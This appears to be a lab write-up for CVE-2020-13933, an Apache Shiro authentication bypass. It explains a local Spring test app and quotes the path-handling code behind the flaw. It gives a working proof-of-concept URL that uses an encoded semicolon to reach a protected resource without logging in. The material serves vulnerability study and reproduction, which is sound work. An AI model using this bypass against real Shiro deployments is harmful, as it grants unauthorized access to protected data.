CVE-2020-13933 Lab

Shiro < 1.6.0 Authentication Bypass Vulnerability

PoC

http://127.0.0.1:8080/res/%3bpoc

Lab Environment

Code Description

• ShiroConfig.java:
  　　Permission configuration: when requesting /res/* resources, it returns a 302 redirect to the login page for authentication.
• NameController.java:
  　　· /res/{name}: Request a resource named name (triggers authentication)
  　　· /res/: Request no resource (does not trigger authentication)

Lab Verification

When no resource name is specified in the request path, authentication is not triggered and no resource is returned: http://127.0.0.1:8080/res/

When a resource name is specified in the request path, a 302 redirect to the authentication page occurs: http://127.0.0.1:8080/res/poc

When crafting a specific PoC request for the specified resource, authentication is not triggered and the resource is returned: http://127.0.0.1:8080/res/%3bpoc (%3b is the URL encoding of ;)

Vulnerability DEBUG Location

shiro-web-1.5.3.jar

// org.apache.shiro.web.util.WebUtils.java
// line 111

public static String getPathWithinApplication(HttpServletRequest request) {
    return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}

spring-web-5.2.5.RELEASE.jar

// org.springframework.web.util.UrlPathHelper.java
// line 459

private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
    uri = removeSemicolonContent(uri);
    uri = decodeRequestString(request, uri);
    uri = getSanitizedPath(uri);
    return uri;
}